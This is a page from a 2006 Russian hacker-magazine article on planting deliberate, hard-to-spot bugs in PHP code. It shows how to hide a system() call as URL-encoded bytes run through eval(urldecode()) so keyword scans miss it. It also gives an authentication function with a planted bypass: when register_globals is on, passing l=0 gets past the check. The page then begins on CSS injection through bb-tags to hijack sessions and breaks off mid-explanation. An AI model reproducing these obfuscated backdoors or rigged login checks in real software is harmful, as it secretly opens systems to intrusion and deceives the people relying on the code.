Издательский дом ООО "Гейм Лэнд"ЖУРНАЛ ХАКЕР #87, МАРТ 2006 г.

"Неслучайные" баги

eto’o

Хакер, номер #087, стр. 087-152-3


eval(“echo ‘ok’;”);

Это выведет строку ‘ok’. В нашем случае зловредную строчку кода нельзя вставить в открытом виде. Ведь многие взломщики, когда исследуют большие системы на баги, просто ищут в тексте программы вхождения ключевых слов, вызовы потенциально опасных функций: system(), exec(), include() и так далее. Поэтому мы воспользуемся преимуществом и переведем ядовитий php-код в URL-представление, при которой каждый символ ставится в соответствии с последовательностью %код_символа_в_hex. Процедура для такого кодированяи строки оцень проста для понимания:

$str="system('ls -la');";

for($i=0;$i<strlen($str);$i++) {

$code=ord($str[$i]);

$hexcode=dechex($code);

echo "%".$hexcode;

}

Для строки system('ls -la'); будет получена следующая последовательность байт: %73%79%73%74%65%6d%28%27%6c%73%20%2d%6c%61%27%29%3b. Теперь, если передать ее на выполнение, предварительно обработав функцией urlencode, будет незаметно выполняться наша хакерская команда:

eval(urldecode(“%73%79%73%74%65%6d%28%27%6c%73%20%2d%6c%61%27%29%3b”));

[против природы не попрешь]

Самое крутое, что можно придумать в изготовлении багов, — это допустить логическую ошибку. То есть сознательно закрутить такую канитель if’ов, case’ов, циклов и вызовов внешних функций, чтобы при определенных условиях эта конктрукция сработала бы тебе на пользу. Найти такую вещь среди тысячи строк другого кода — непосильная задача, которую и автоматизировать толком нельзя :). Этим мы с тобой и воспользуемся. Представь себе такой кусок кода:

function isLogin($login) {

if(ereg($login, “^[a-zA-Z0-9]{3,10}$”)) {return true;} else {return false;}

}

function isPasswd($passwd) {

if(ereg($passwd, “^[a-zA-Z0-9]{8,20}$”)) {return true;} else {return false;}

}

function auth($login, $passwd) {

$ll=-2;

if(isLogin($login)) $ll++;

if(isPasswd($passwd)) $ll++;

if(!isset($l)) $l=$ll;

if($l==0) {

return true;

} else {

return false;

}

}

Функции isLogin, isPasswd размещены в отдельном файле, auth() – тоже в отдельном. Все вызывается во внешнем файле. Скажи, как в этом случае можно обойти аутентификацию?

Элементарно! Если в скрипте включен параметр register_globals=On, то достаточно только лишь передать сценарию параметр l=0. В этом случае в переменную $l будет помещено твое левое значение, а все проверки пойдут лесом.

[CSS и сессии]

Вот уже где раздолье настоящее для жуков и багов! Сейчас стало модно привязывать сессии к IP-адресам, с которых они начались. Времена, когда, украв ID-сессии, можно было получить доступ к спрятанным там переменным с другого IP-адреса, позади, равно как и хранить в кукисах плейнтекстом пару л+п :).

Первым делом нужно позволить при определенных условиях внедрить пользователю CSS-код. Само собой, при всех прочих условиях вся ядовитая дрянь должна вырезаться системой. Для этого ты привык пользоваться ereg-функциями, которые вырезают из пользовательских строчек ненужные символы. Во многих проектах для пользователей делают специальные bb-тэги вроде [img] и [b], которые позволяют элементарным образом форматировать сообщения. В этом случае можно допустить небольшой ляп и позволить пользователю внедрять в качестве одного из параметров bb-тэга такую конструкцию:

Назад на стр. 087-152-2  Содержание  Вперед на стр. 087-152-4